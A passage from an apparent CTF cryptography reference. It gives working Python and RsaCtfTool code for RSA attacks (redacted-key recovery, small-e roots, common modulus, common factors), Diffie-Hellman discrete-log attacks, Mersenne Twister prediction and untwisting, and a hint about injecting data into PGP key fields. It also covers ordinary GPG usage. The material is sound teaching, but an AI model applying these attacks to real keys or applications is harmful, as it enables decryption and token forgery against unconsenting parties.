gcd, s, t = egcd(a, b)  # Extended Euclidean Algorithm
assert gcd == 1

x = c * s % b  # Derived equation for x
```

### Redacted Private Key

Sometimes you'll find part of a private key or a partially redacted screenshot for example. In some cases, there is still enough information in the redacted key that we can recover the entire private key. A good example is [this writeup from Cryptohack](https://blog.cryptohack.org/twitter-secrets).

Often you'll find the private key in the PEM format:

```
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
```

This format encodes a few numbers that RSA uses in the following order:

```sql
RSAPrivateKey ::= SEQUENCE {
  version           Version,
  modulus           INTEGER,  -- n
  publicExponent    INTEGER,  -- e
  privateExponent   INTEGER,  -- d
  prime1            INTEGER,  -- p
  prime2            INTEGER,  -- q
  exponent1         INTEGER,  -- d_p = d mod (p-1)
  exponent2         INTEGER,  -- d_q = d mod (q-1)
  coefficient       INTEGER,  -- (inverse of q) mod p
  otherPrimeInfos   OtherPrimeInfos OPTIONAL
}
```

When the key is decoded from Base64, the raw data is split by ASN.1 headers. These differ per private key but are in a simple format. For example `02 82 01 01`:

* `02`: The data type: Integer
* `82`: Meaning the length of the encoded integer value will be stored in the following 2 bytes
* `0101`: The length of the integer value that follows. Taking this value (257) and reading the next 257 from Big Endian results in the number

You can then search the redacted private key for these header values and find parts of the private key. Then after writing down every number you have found, you can try to use the RSA [#equations](#equations "mention") to calculate or brute-force unknown values.

You might find the $$d\_p$$ value and `q`, but no `n` as seen in the writeup linked above. In that case, we know some equations, and we can find `p` having only one unknown:

$$
\begin{align\*}
d\_p = d \bmod p-1 \\
e*d\_p = 1 \bmod p-1 \\
e*d\_p = 1+k\_p(p−1) \\
p = \frac{e*d\_p-1}{k\_p}+1
\end{align*}
$$

Here $$k\_p < e$$ meaning we can easily brute-force it until we get a valid `p` that is prime.

```python
from Crypto.Util.number import isPrime

e = 65537
q = 0xc28871e8714090e0a33327b88acc57eef2eb6033ac6bc44f31baeac33cbc026c3e8bbe9e0f77c8dbc0b4bfed0273f6621d24bc1effc0b6c06427b89758f6d433a02bf996d42e1e2750738ac3b85b4a187a3bcb4124d62296cb0eecaa5b70fb84a12254b0973797a1e53829ec59f22238eab77b211664fc2fa686893dda43756c895953e573fd52aa9bb41d22306135c81174a001b32f5407d4f72d80c5de2850541de5d55c19c1f817eea994dfa534b6d941ba204b306225a9e06ddb048f4e34507540fb3f03efeb30bdd076cfa22b135c9037c9e18fe4fa70cf61cea8c002e9c85e53c1eaac935042d00697270f05b8a7976846963c933dadd527227e6c45e1
d_p = 0x878f7c1b9b19b1693c1371305f194cd08c770c8f5976b2d8e3cf769a1117080d6e90a10aef9da6eb5b34219b71f4c8e5cde3a9d36945ac507ee6dfe4c146e7458ef83fa065e3036e5fbf15597e97a7ba93a31124d97c177e68e38adc4c45858417abf8034745d6b3782a195e6dd3cf0be14f5d97247900e9aac3b2b5a89f33a3f8f71d27d670401ca185eb9c88644b7985e4d98a7da37bfffdb737e54b6e0de2004d0c8c425fb16380431d7de40540c02346c98991b748ebbc8aac73dd58de6f7ff00a302f4047020b6cd9098f6ba686994f5e043e7181edfc552e18bce42b3a42b63f7ccb7729b74e76a040055d397278cb939240f236d0a2a79757ba7a9f09

for k_p in range(3, e):
    p_mul = d_p * e - 1
    if p_mul % k_p == 0:
        p = (p_mul // k_p) + 1
        if isPrime(p):
            print(f"Possible p: {p}")

# Possible p: 27424620168275816399297809452044477898445869043083928305403190561848181247448557658593857562389973580360112343197758188112451321934751365149355739718827334237004580631677805658180827450425037486862624956571004133160660553447844660253489608830574578247130997606552780186884875956837105323963951273120671578260037968554324775219655391384842262185092080897722729583541520288238199378137937292821948537290086006515948412691425793388343550817692412524057095996025193588558531233775036475712447358021159753894894021532314644572789928387689536798350947404591354707156502434749956591501101436381621117178639848984726819742457
```

Now we have `p` and `q`, and can easily multiply them to get `n`. We can also now calculate `d` from `p` and `q` to get the decryption key.

If you get multiple possible values for `p`, you could use some partial numbers in the redacted private key to verify each possible value. If you have some bits of the `n` for example, you could calculate `n` and then verify it with the known bits.

### No modulus (`n`)

If exponent `e` is small, the ciphertext might not have wrapped around with the modulus and you can just root it to get the original plaintext. You can verify this by checking if the ciphertext is a perfect root.

```python
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes, bytes_to_long

c = bytes_to_long(bytes.fromhex("04a842294fd232f363404d984a463f265938e591c4be8370c332e9c8f3b4c5216c8691920326b600619525e1e1eee7dd88220e0d5863c20bcbc3406bf0588e73a8b1db198ff84f9b1c91a9eaaa65"))
e = 3

root, is_perfect = iroot(c, e)  # Cube root
assert is_perfect

print(long_to_bytes(root))
```

#### Known plaintext

If you have 2 plaintext-ciphertext pairs, you can recover N with some math:

$$
\begin{align\*}
m\_1^e &= c\_1 \bmod n \\
m\_2^e &= c\_2 \bmod n \\
&\Downarrow \\
m\_1^e - c\_1 &= k\_1*n \\
m\_2^e - c\_2 &= k\_2*n \\
\end{align\*}
$$

Here the last two equations both have `n` multiplied by some different `k`. The product of $$k\*n$$ can be easily calculated as the difference between $$m^e$$ and $$c$$, which we know from the plaintext-ciphertext pairs. This means we know two different numbers, which have `n` as a factor. We can use the Greatest Common Divisor (GCD) to calculate this common factor `n`. [Sagemath](https://www.sagemath.org/) has a very fast implementation for the power and GCD:

{% code title="find\_n.sage" %}

```python
from Crypto.Util.number import bytes_to_long, long_to_bytes

m1 = bytes_to_long(b"You can't factor the modulus")
c1 = 4249729541274832324831915101850978041491970958978013333892918723306168770472089196478720527554982764987079625218029445015042835412969986610407794962546486526768377464483162272541733624521350257458334912357961557141551376502679112069746250223130120067678503609054343306910481618502449487751467838568736395758064426403381068760701434585433915614901796040740316824283643177505677105619002929103619338876322183416750542848507631412106633630984867562243228659040403724671325236096319784525457674398019860558530212905126133378508676777200538275088387251038714220361173376355185449239483472545370043145325106307606431828449482078191
m2 = bytes_to_long(b"If you don't know the modulus!")
c2 = 13075855845498384344820257559893309320125843093107442572680776872299102248743866420640323500087788163238819301260173322187978140866718036292385520509724506487692001245730298675731681509412177547061396861961413760298064385526657135656283464759479388590822600747903100354135682624356454872283852822117199641700847558605700370117557855396952083088645477966782338316017387406733063346986224014837246404581562813312855644424128648363175792786282857154624788625411070173092512834181678732914231669616670515512774709315620233482515821178277673737845032672993814500177126048019814877397547310166915188341668439101769932492677363463422
e = 65537

n = GCD(pow(m1, e) - c1, pow(m2, e) - c2)
print(f"{n=}")  # 34825223743402829383680359547814183240817664070909938698674658390374124787235739502688056639022131897715513587903467527066065545399622834534513631867145432553730850980331789931667370903396032758515681278057031496814054828419443822343986117760958186984521716807347123949922837482460532728350223473430713058522361175980521908817215812291272284241848086260180382693014713901303747444753828636575351349026883294939561001468099252543181336195746032718177937417431101756313823635150129601855358558635996348271242920308406268552606733676301725088348399264293936151662467456410825402303921583389167882090767423931762347825907802328053
```

{% endcode %}

### 2 keys: Same n, same ciphertext, different e

{% embed url="<https://crypto.stackexchange.com/questions/1614/rsa-cracking-the-same-message-is-sent-to-two-different-people-problem/1616#1616>" %}
Answer to Cryptography Stack Exchange post explaining solution
{% endembed %}

{% hint style="info" %}
Use the comma (`,`) to separate `-e` and `--uncipher` values
{% endhint %}

<pre class="language-shellscript" data-title="Using RsaCtfTool" data-overflow="wrap"><code class="lang-shellscript"><strong>$ rsactftool -n 121785996773018308653850214729611957957750585856946607620398279656647965006857599756926384863459274369411103073349913717154710735727786240206066327436155758154142877120260776520601315370480059127244029804523614658953301573686851312721445206131147094674807765817210890772194336025491364961932882951123597124291 -e 65537,343223 --uncipher 5050983197907648139720782448847677677343236446273586870502111273113384857588837608900494692102715861436825279596563904392832518247929761994240007673498974877828278590361242528762459283022987952424770766975922016521475963712698089809426428406068793291250622593222599407825968002220906973019105007856539702124,99993713982446651581396992055360571139557381122865583938229634474666415937105325664345678113405954865343401854091338680448775405253508255042453184099961570780032181898606546389573694481401653361757628850127420072609555997892925890632116852740542002226555293049123266123721696951805937683483979653786235824108
</strong>[*] Multikey mode using keys: /tmp/tmpk3mwiuve, /tmp/tmpuaraslbe
Unciphered data :
STR : b'Yeah man, you got the message. The flag is W311D0n3! and this is a padding to have a long text, else it will be easy to decrypt.'
</code></pre>

{% code title="Python implementation" %}

```python
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from egcd import egcd

# Same n
n = 121785996773018308653850214729611957957750585856946607620398279656647965006857599756926384863459274369411103073349913717154710735727786240206066327436155758154142877120260776520601315370480059127244029804523614658953301573686851312721445206131147094674807765817210890772194336025491364961932882951123597124291 
e1 = 65537
e2 = 343223

c1 = 5050983197907648139720782448847677677343236446273586870502111273113384857588837608900494692102715861436825279596563904392832518247929761994240007673498974877828278590361242528762459283022987952424770766975922016521475963712698089809426428406068793291250622593222599407825968002220906973019105007856539702124
c2 = 99993713982446651581396992055360571139557381122865583938229634474666415937105325664345678113405954865343401854091338680448775405253508255042453184099961570780032181898606546389573694481401653361757628850127420072609555997892925890632116852740542002226555293049123266123721696951805937683483979653786235824108

gcd, a, b = egcd(e1, e2)
assert gcd == 1, "e1 and e2 are coprime"

m = pow(c1, a, n) * pow(c2, b, n) % n

print(long_to_bytes(m))
```

{% endcode %}

### Multiple keys with common factors

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>rsactftool --publickey key1.pub,key2.pub,key3.pub --private --attack common_factors
</strong><strong>rsactftool --publickey "key*.pub" --private --attack common_factors
</strong></code></pre>

## Converting keys

Formats of RSA keys can be tricky. Here are a few common ways to convert public/private keys into other useful formats

{% embed url="<https://pycryptodome.readthedocs.io/en/latest/src/public_key/rsa.html>" %}
Documentation explaining how to work with RSA keys in PyCryptodome
{% endembed %}

### `n` and `e` to any file format

{% code title="Using PyCryptodome" overflow="wrap" %}

```python
>>> from Crypto.PublicKey import RSA
>>> key = RSA.construct((22281454606178185475137713421838422701543711268688600199661211611180627857676287178299712404685904372784253912486518309166107347902668817333387309917713878185701525779283063877318406271407207356695157218976821377797726991423192800200038862274192839464396744870595855658571673885678865944463809042500492800193755481497663544377666279577049151233765472181498228853733312890990468820942647689943230580776756954044828448094549187428360616039917736728741158185566675010288835722749075283482869482557110351806822719324373000017117153101570619871972625144670079798850809870562279085243502354929201076164300122928273223973813, 65535))  # (n, e, d, p, q)
>>> with open("key.pub", "wb") as f:
>>>     f.write(key.export_key("PEM"))  # 'PEM', 'DER' or 'OpenSSH'
```

{% endcode %}

<pre class="language-shellscript" data-title="Using RsaCtfTool" data-overflow="wrap"><code class="lang-shellscript"><strong>$ rsactftool --createpub -n 22281454606178185475137713421838422701543711268688600199661211611180627857676287178299712404685904372784253912486518309166107347902668817333387309917713878185701525779283063877318406271407207356695157218976821377797726991423192800200038862274192839464396744870595855658571673885678865944463809042500492800193755481497663544377666279577049151233765472181498228853733312890990468820942647689943230580776756954044828448094549187428360616039917736728741158185566675010288835722749075283482869482557110351806822719324373000017117153101570619871972625144670079798850809870562279085243502354929201076164300122928273223973813 -e 65535 --private
</strong>-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsIDMbcVpE90iK0Omtkww
8XXNbuuWczKPXJi0+3NXVQHyRITITnVd/EIoPxqYCloxebCowFx5xjnu+Vo+gM5C
KYzbOznGMkYlCj5AmXV1+a6hMErL7+Qsth/12ghUhgMMMjshA+ZRPu6tJ1d7H7Ho
ge3zOPvkHnfNIxIcHQI43GYJURWNQ2Mij+h3CF25P1ictf+/Uijdfa1wk+3PLtTy
jRMcP7IOWdWUloPowu/vCUgKe/Qq0+WINNi/Uf1MaXBTq+4fUTPzXrVBGxQ6DYMj
ysHw9wxgZCYijLeIrJdIL7DPkaYVadv+pzLhKWAsigEdzbVI0mjjDnlc/QoL9g37
tQIDAP//
-----END PUBLIC KEY-----
</code></pre>

### Any file format to `n` and `e`

{% code title="Using PyCryptodome" overflow="wrap" %}

```python
>>> from Crypto.PublicKey import RSA
>>> RSA.importKey(open("key.pub", "rb").read())
RsaKey(n=22281454606178185475137713421838422701543711268688600199661211611180627857676287178299712404685904372784253912486518309166107347902668817333387309917713878185701525779283063877318406271407207356695157218976821377797726991423192800200038862274192839464396744870595855658571673885678865944463809042500492800193755481497663544377666279577049151233765472181498228853733312890990468820942647689943230580776756954044828448094549187428360616039917736728741158185566675010288835722749075283482869482557110351806822719324373000017117153101570619871972625144670079798850809870562279085243502354929201076164300122928273223973813, e=65535)
```

{% endcode %}

<pre class="language-shellscript" data-title="Using RsaCtfTool" data-overflow="wrap"><code class="lang-shellscript"><strong>$ rsactftool --dumpkey --publickey key.pub --private
</strong>Details for key.pub:
n: 22281454606178185475137713421838422701543711268688600199661211611180627857676287178299712404685904372784253912486518309166107347902668817333387309917713878185701525779283063877318406271407207356695157218976821377797726991423192800200038862274192839464396744870595855658571673885678865944463809042500492800193755481497663544377666279577049151233765472181498228853733312890990468820942647689943230580776756954044828448094549187428360616039917736728741158185566675010288835722749075283482869482557110351806822719324373000017117153101570619871972625144670079798850809870562279085243502354929201076164300122928273223973813
e: 65535
</code></pre>


# Diffie-Hellman

The Diffie-Hellman Key Exchange uses asymmetric encryption to set up a shared secret for symmetric encryption

## Description

Symmetric encryption like AES requires a **Shared Secret** from both parties to be able to communicate securely across a **Public Channel** where messages can be intercepted or altered. Asymmetric on the other hand just requires both parties to have their own keypair, but it is very slow to compute in comparison to symmetric encryption.\
The **Diffie-Hellman Key Exchange** solves this problem by utilizing an asymmetric scheme to create a shared secret that can then be used for symmetric encryption.

<figure><img src="/files/H1yObSVcRBxgyZ0zZI4B" alt=""><figcaption><p>Diffie-Hellman Key Exchange<strong>:</strong> Shared Secret is computed by Alice and Bob with a Public Channel</p></figcaption></figure>

Performing this algorithm is pretty simple. A *prime* number `p` and *generator* `g` are chosen (often some well-known numbers), and Alice and Bob both have their own *private key*. Using the public `g` and `p`, they both compute their *public key*, which is shared across the Public Channel. When the other receives their public key, they use their private key to compute the final secret.

The order in multiplication does not matter, meaning Alice's $$g^{a*b}$$ will be the same as Bob's $$g^{b*a}$$.\
All without ever showing the private `a`, `b`, or the secret.

In summary, Alice's private key + Bob's public key == Bob's private key + Alice's public key.

### Security

The difficulty comes from knowing $$A = g^a \mod p$$, but being unable to compute `a` from it. It is known as the [Discrete Logarithm Problem](https://en.wikipedia.org/wiki/Discrete_logarithm) and if an efficient algorithm is ever found, it would break a lot of cryptography.

$$
\begin{split}
output &= base^{exponent} \mod p \\
{ }\\
{exponent} &= log\_{base}(output) \mod p
\end{split}
$$

Read this [Wikipedia section ](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Security)about security for some more information, and a fun practical attack against the internet as we know it.

## Attacks

There are many different attacks for the Diffie-Hellman key exchange, especially if you have some control over the numbers that computations happen on. I recommend looking up\
"diffie hellman ctf" in your favorite search engine to find some practical examples.

An important piece here is the group order $$G$$ of the modulus `p`, which is normally `p-1`. But if this `p-1` value can be **factored into small primes**, this greatly reduces the strength and makes it vulnerable to Pohlig–Hellman algorithm (see [#g-only-has-small-factors](#g-only-has-small-factors "mention")). If it helps, read [this answer](https://crypto.stackexchange.com/questions/87137/how-to-get-the-order-of-a-group-generator-in-dh/87138#87138) to understand how $$G$$ is calculated in Diffie-Hellman.

After breaking the logic and finding a private key, you can often just calculate the shared secret yourself and use it to decrypt whatever messages were encrypted.

### Computing manually

A simple approach to solving the Discrete Logarithm using a **meet-in-the-middle** algorithm. It tries to compute private key `a` from a known public key `A`, `g` and `p`. A requirement for this algorithm is that the group order $$G$$ explained above is **small**.

[`sage`](https://github.com/sagemath) is a useful tool in mathematics that has many features and built-in algorithms. One of which is the [`discrete_log`](https://doc.sagemath.org/html/en/reference/groups/sage/groups/generic.html#sage.groups.generic.discrete_log) function that has several common algorithms implemented that it will choose from automatically. When dealing with Diffie-Hellman and non-standard generation of `p`, it's a good idea to try throwing it into this function to find out if it is easily breakable:

```python
R = IntegerModRing(p)  # Handle modular arithmetic
a = discrete_log(R(A), R(g))  # Compute a (Alice) from A and g mod p
b = discrete_log(R(B), R(g))  # Compute b (Bob)   from B and g mod p
```

### G only has small factors

Normally, the group order $$G$$ has a large prime factor keeping it safe, but if this is not the case (eg. created from many small primes), [Pohlig–Hellman algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm) can be used to efficiently perform the Discrete Logarithm. The `discrete_log()` function from sage will also try this method **automatically** if it finds the group order is composite instead of prime, so the same method as above can be used.

For a simple explanation of the idea behind this attack, [read this example](https://github.com/zelinsky/CTF-Course/blob/master/Classes/16.md#example).


# PGP / GPG

The "Pretty Good Privacy" asymmetric encryption scheme used in email and sending encrypted or signed messages

## GNU Privacy Guard (GPG)

In Linux, a common command-line utility to perform PGP actions is the `gpg` program. See a small reference here:

{% embed url="<https://kb.iu.edu/d/awiu>" %}
A short list of useful GPG commands to encrypt, decrypt, sign or manage keys
{% endembed %}

## Signing and Verifying

Putting a signature under a message can prove that a certain private key owner has written the message. Anyone can verify it with your public key, but only you can create it with your private key. This is often found in the following format:

<pre class="language-python"><code class="lang-python"><strong>-----BEGIN PGP SIGNED MESSAGE-----
</strong>Hash: SHA512

Hello, world!
<strong>-----BEGIN PGP SIGNATURE-----
</strong>
iQGzBAEBCgAdFiEEQctSPuIHmG7eGC/HYLG3XetyYecFAmSRkqsACgkQYLG3Xety
Yec2fwwAuwOmfZJlttuFxOlLP6RPD1yMD8XDDfRUxg96NvDvzYNnntZhU6Jeevvf
0rdogx5NsRZMPFYb9ysXlO/RDk9ZS4w8vNvZtiqDBQjjOKLblsU/sjgC7SQKLPnD
TZiQYbqBDH3DQIGgkbmU3fiOrps8Atu0dJR7o0y6Kf9/HqTBN2nCvA0jnhhXTA00
R5f6h+KXtBcMw29aHeLSO3c27+8LelTLKSyXEuUNev8ssbt5T7JdorckJzq3cwUG
zkXAtEMOzvOYd9SeftXeThTmMoiT1I8ZaBgJ60MnxVaaJUZAahQSx0wHtIV7NZCz
auNfR14XvAyUSyPbKLDI98+qygn/ljgI0yU5nRj5fvRptuJBDUWywKJF+Zj7iGRL
opPyb6BS5kSOba1PgubgICoKGMyWWWVi33OZjoFqNVq4W4i/tNL3+oQbVBpfqXYo
fRAx5C9tAv6moRRnyyE2gZolCs7grdZVqpbTMOQzMJMjwjOfG+Rmsfc81zi1v3Z3
HzEdXwrj
=RtST
<strong>-----END PGP SIGNATURE-----
</strong></code></pre>

It is very recognizable and easy to understand. The first part is the readable plaintext message, and the second part is the signature of that text above, signed (encrypted) with the sender's private key. If anyone wants to verify the validity, they would need to take your public key, and decrypt the signature to be left with an exact match of the text above.

In practice, you can **sign** a message like this:

{% code title="message.txt" %}

```
Hello, world!
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ gpg --clearsign message.txt
</strong>$ cat message.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
...
</code></pre>

{% hint style="info" %}
If you don't have a keypair yet, you can generate one with:

```shell-session
gpg --gen-key
```

or import an existing one with:

```shell-session
gpg --import [keyfile]
```

{% endhint %}

To then **verify** it, make sure to first have the public key from the sender imported:

```shell-session
gpg --import sender.pub
```

Afterward, you can verify any messages they send came from that key:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ gpg --verify msg.txt.asc
</strong>gpg: Signature made Tue Jun 20 13:51:07 2023 CEST
gpg:                using RSA key 41CB523EE207986EDE182FC760B1B75DEB7261E7
gpg: Good signature from "Jorian" [ultimate]
</code></pre>

## Encrypting and Decrypting

If a message is intended for only a specific person to be able to read it, you can encrypt it with their public key so only they can decrypt it with their private key. An encrypted PGP message looks like this:

```python
-----BEGIN PGP MESSAGE-----

hQGMA+DFCnh6q6yZAQwAvLRxIVGgqmpLM8OyE7YbW67djAKcq8RtTEGfRzj7dRf/
FRIljcJiqQXYrRlzgQR9qd7lpnfFb5goPVYzaCHA8HRtQo7XfZnRZ7lt821SPxmS
H4hrgf33euSt3fACvGhIIR5kmUz2ExL7n3/tMTwld0y5dgwtaGsl3ikD+TWZKM3f
pVKH+SAj37VermnBv2m4eAVMFWuykYPp82HIruNVRXlbCbFuC6QRzRHzvyhIwf+t
gFyJhiwwq74twHBnpKDgMN+z2uEyMGI9b2FYnfMs6MGFlOWgqALXryUtuVM2XnqM
1KBLReW5AihlvJn984t2joYu5ASeuTaN/Bf5gmVtcoHOVVQCiu1xS36bJmvdz+Q/
Q/EJSsfVn19e6o2FvXWaGA7w7g9uNoZj0oBM1LzQO9gtYsgQel7TfEbrMmT8lWZ4
RUi1jHvpph6+tUGrK7e/nK9z1F1lYuqEn4sZcfv6Y6hFFibI0vunfU3eKulJKVkE
QqCQug2XnKAX4t91uy1f0lABFkBI6X+j7182AjdleTAXWI/XNQgSNk+SN35mX6KO
F61+m5OjcsPer6cq7mylnWND3Ix+PRIynFbVNsHpRN+JOI79mC7sirVOZAKxXU9n
Xg==
=/OLC
-----END PGP MESSAGE-----
```

It is generated by encrypting the message with the recipient's public key, which means you first need to have imported their key like shown before. Then use the following options:

* `-e`: to select encryption
* `-r [name or ID]`: to select the recipient public key
* `-a`: Add "armor" to the resulting file, meaning it is simply an ASCII format in Base64 and `BEGIN`/`END` instead of the regular `.gpg` binary format

For example:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ gpg -a -e -r Jorian message.txt  # Using saved name
</strong><strong>$ gpg -a -e -r 41CB523EE207986EDE182FC760B1B75DEB7261E7 message.txt  # Using ID
</strong>
$ cat message.txt.ascl
-----BEGIN PGP MESSAGE-----

hQGMA+DFCnh6q6yZAQv/RNVXrpb4awnHSOQUkr0dn32NvgmwwXXXCKChAr17SpAt
Tu7ppTjSBIfSYDSGvLNHYDQdKBaqHxR+YGfiUKKgJahqTX8n17HgG4FLESWyWJJq
adQpE3sr9d+PpexZ/L1i+dtTk5XYkxXtbXXg4MvgLj/YWKNhPoTEEzlSxYIW1sjB
/7yyZuLcG0Y6DEt6/apnpF2HWh+ygFM/Xhx4RplM0HwpE3fdYZQxNVYcoMgEsm51
PQfaHml5lDAviJNdv7tMpS90wE6jWJMPj1GojOx0oQK4nM+k62Bppj/OVSo5RMkl
N6i1SYngyKcTVN8EF7g60lp3Z6tKd/a781ecsdXAJyNXP0/ccfgkzaMEHuOkfY66
9cig0RbglG11uXBygeU+V5mriKV2lw+I8rW5uIE9ZZgfW8e5fuOkBDfZ44uEYKrO
ZPBCWFXSwKrbKSUw+KOJiiJjk+7An3/0a/rrM2RcQzx9yfIWHeVl5Psi697LO3ps
PsQmjsIDJg/77UzFWUT50lQBydrV62gwxaC2j2i6X2ctffGMUReovang9IDfmQP+
2kDnsSiT9HQtLRMex0I9S+ZIK4CehgjdCWqCW+74HO1Tz/RRhdjoONSBkU8506kK
3d/nhX0=
=LSK8
-----END PGP MESSAGE-----
</code></pre>

When the recipient wants to read this message, they have to decrypt it with their private key. Simply using the `-d` option will automatically find the correct key used and owned by you:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ gpg -d msg.txt.asc
</strong>gpg: encrypted with 3072-bit RSA key, ID E0C50A787AABAC99, created 2023-06-18
      "Jorian"
Hello, world!
</code></pre>

{% hint style="info" %}
You can also **encrypt and sign** at the same time, using both options ( `-s` and `-e`) together
{% endhint %}

## Python

Using the `PGPy` module you can easily automate any PGP tasks like generating keys, signing/verifying messages and encrypting/decrypting messages.

{% embed url="<https://pgpy.readthedocs.io/en/latest/examples.html>" %}
Official documentation of PGPy with examples for common tasks
{% endembed %}

This can also be useful to generate low-level keys where you can easily control exactly what data is in the name, comment or email. If an application parses these fields in some what it may be worth trying to inject unexpected data in here like any other field on a website.

Here is a simple example of generating a key and signing a message:

```python
import pgpy

from pgpy.constants import PubKeyAlgorithm, KeyFlags, HashAlgorithm, SymmetricKeyAlgorithm, CompressionAlgorithm

key = pgpy.PGPKey.new(PubKeyAlgorithm.RSAEncryptOrSign, 4096)
uid = pgpy.PGPUID.new("Jorian", comment="This is a comment", email="contact@jorianwoltjer.com")

key.add_uid(uid, usage={KeyFlags.Sign, KeyFlags.EncryptCommunications, KeyFlags.EncryptStorage},
            hashes=[HashAlgorithm.SHA256, HashAlgorithm.SHA384, HashAlgorithm.SHA512, HashAlgorithm.SHA224],
            ciphers=[SymmetricKeyAlgorithm.AES256, SymmetricKeyAlgorithm.AES192, SymmetricKeyAlgorithm.AES128],
            compression=[CompressionAlgorithm.ZLIB, CompressionAlgorithm.BZ2, CompressionAlgorithm.ZIP, CompressionAlgorithm.Uncompressed])

print(str(key.pubkey))  # -----BEGIN PGP PUBLIC KEY BLOCK----- ...

text = "Hello, world!"
signed_text = key.sign(text)

print(str(signed_text))  # -----BEGIN PGP SIGNATURE----- ...
```


# Pseudo-Random Number Generators (PRNG)

Often the default random function in whatever language is not cryptographically secure, making it possible to predict values

## Python: `import random` = Mersenne Twister

The default Python `random` module is very fast, but not very secure. If the application allows you to get 624 or more random values from it, you can crack the random seed used by the generator to predict future values. You can also use this to know values that are generated by the application, but not shown to you, like generating a key right after showing you 624 random values.

The [mersenne-twister-predictor](https://github.com/kmyk/mersenne-twister-predictor) library is a nice Python implementation of this attack. It can recreate the internal state of Python's `random` module, after submitting 624 32-bit values. Then the regular python `random` interface is available to make perfect predictions for the future:

```python
import random
# pip install mersenne-twister-predictor
from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()

for _ in range(624):
    x = random.getrandbits(32)
    predictor.setrandbits(x, 32)  # Submit samples here

# When enough samples are given, you can start predicting:
assert random.getrandbits(32) == predictor.getrandbits(32)
```

I made a writeup of a challenge where you had to crack the seed after 624 random values, to generate the same key as the application would encrypt the flag:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/google-beginners-quest-2021/5-twisted-robot>" %}
A writeup where RandCrack is used to predict future values to get a key
{% endembed %}

Note that this library is not limited to 32-bit numbers, larger numbers divisible by 32 are also possible. These are made up of multiple smaller 32-bit numbers, and thus also require fewer total samples because each one gives more information:

```python
# 512*40 = 20480 > 19968 (required) ✔️
for _ in range(40):
    x = random.getrandbits(512)
    predictor.setrandbits(x, 512)

assert random.getrandbits(32) == predictor.getrandbits(32)
```

When the code you are trying to break leaks information *after* the numbers you want to retrieve, we need to predict the past rather than the future. Luckily this is fairly easy by just implementing an algorithm that untwists the internal state so that we can even reach to before the state was leaked. The following functions can be added to [`mt19937predictor.py`](https://github.com/kmyk/mersenne-twister-predictor/blob/master/mt19937predictor.py) `MT19937Predictor` class to add an interface for offsetting the state by any amount, even backward.

{% code title="Patch with untwisting" %}

```python
    def untwist(self):
        '''Go back 624 states by undoing the one twist operation.
        Source: https://jazzy.id.au/2010/09/25/cracking_random_number_generators_part_4.html
        '''
        for i in range(N-1, -1, -1):
            result = 0
            # first we calculate the first bit
            tmp = self._mt[i]
            tmp ^= self._mt[(i + M) % N]
            # if the first bit is odd, unapply magic
            if tmp & UPPER_MASK:
                tmp ^= MATRIX_A
            # the second bit of tmp is the first bit of the result
            result = (tmp << 1) & UPPER_MASK
            
            # work out the remaining 31 bits
            tmp = self._mt[(i - 1 + N) % N]
            tmp ^= self._mt[(i + M-1) % N]
            if tmp & UPPER_MASK:
                tmp ^= MATRIX_A
                # since it was odd, the last bit must have been 1
                result |= 1
            # extract the final 30 bits
            result |= (tmp << 1) & (UPPER_MASK - 1)
            self._mt[i] = result

    def offset(self, n):
        '''Advance the internal state by n steps. May be negative to go backwards any amount.
        '''
        if n >= 0:
            [self.genrand_int32() for _ in range(n)]
        else:
            [self.untwist() for _ in range(-n // 624 + 1)]
            [self.genrand_int32() for _ in range(624 - (-n % 624))]
```

{% endcode %}

Imagine the following scenario where we want to recover the `unknown` values:

{% code title="Recovering previous values" %}

```python
import random
from mt19937predictor import MT19937Predictor

# These are generated before our leak
unknown = [random.getrandbits(32) for _ in range(1000)]

predictor = MT19937Predictor()

for _ in range(624):
    # Sync the random state
    predictor.setrandbits(random.getrandbits(32), 32)

predictor.offset(-624)  # Offset by 624 to get the state before our leak
predictor.offset(-1000)  # Offset by 1000 to get the state right before the unknowns

# Now the predicted values will line up
assert unknown == [predictor.getrandbits(32) for _ in range(1000)]
```

{% endcode %}

### Truncated samples (symbolic solver)

When samples are smaller than 32 bits, or less than 624 samples, you won't have enough to perfectly recreate the internal state. However, it turns out that statement solvers like Z3 that use symbolic execution can get constraints set to the samples, and then solve for the seed. This process will be a lot slower, but it may be your only option.

The [symbolic\_mersenne\_cracker](https://github.com/icemonster/symbolic_mersenne_cracker) repository implements an easy-to-use symbolic solver using Z3 where you can feed it partial samples with for example 16 bits instead of 32, which it then solves and gives a synchronized `random` instance. It works by submitting **binary strings** with `?` question marks for the unknown bits.

```python
from symbolic_mersenne_cracker import Untwister
import random

ut = Untwister()

for _ in range(1337):
    x = random.getrandbits(16)
    ut.submit(bin(x)[2:] + "?"*16)

predictor = ut.get_random()

assert random.getrandbits(32) == predictor.getrandbits(32)
```

{% hint style="info" %}
**Tip**: To solve a scenario where the solution isn't very simple like with `getrandbits()`, you can view the source code of the [`random`](https://github.com/python/cpython/blob/main/Lib/random.py) module yourself or for going deeper even the [C implementation](https://github.com/python/cpython/blob/main/Modules/_randommodule.c). Then figure out what parts of `getrandbits` your function uses.
{% endhint %}

### Low bits in GF(2)

When you have a very low amount of bits per sample, say `8`, symbolic solvers will take too long. Instead, a generic technique for when you have consecutive outputs that are only bitshifted can be predicted via the "Berlekamp-Massey" algorithm.

This means it's suitable for:

* [x] 50000x samples of `random.getrandbits(8)` or `random.getrandbits(32) & 256`

However, so-called *rejection sampling loops* where not all outputs are consecutive cannot be recovered. The technique is very generic so may apply to different linear PRNGs than just Python's.

{% embed url="<https://github.com/CherryDT/fast-linear-predictor>" %}
C tool by David Trapp to predict linear PRNGs with low bits per sample
{% endembed %}

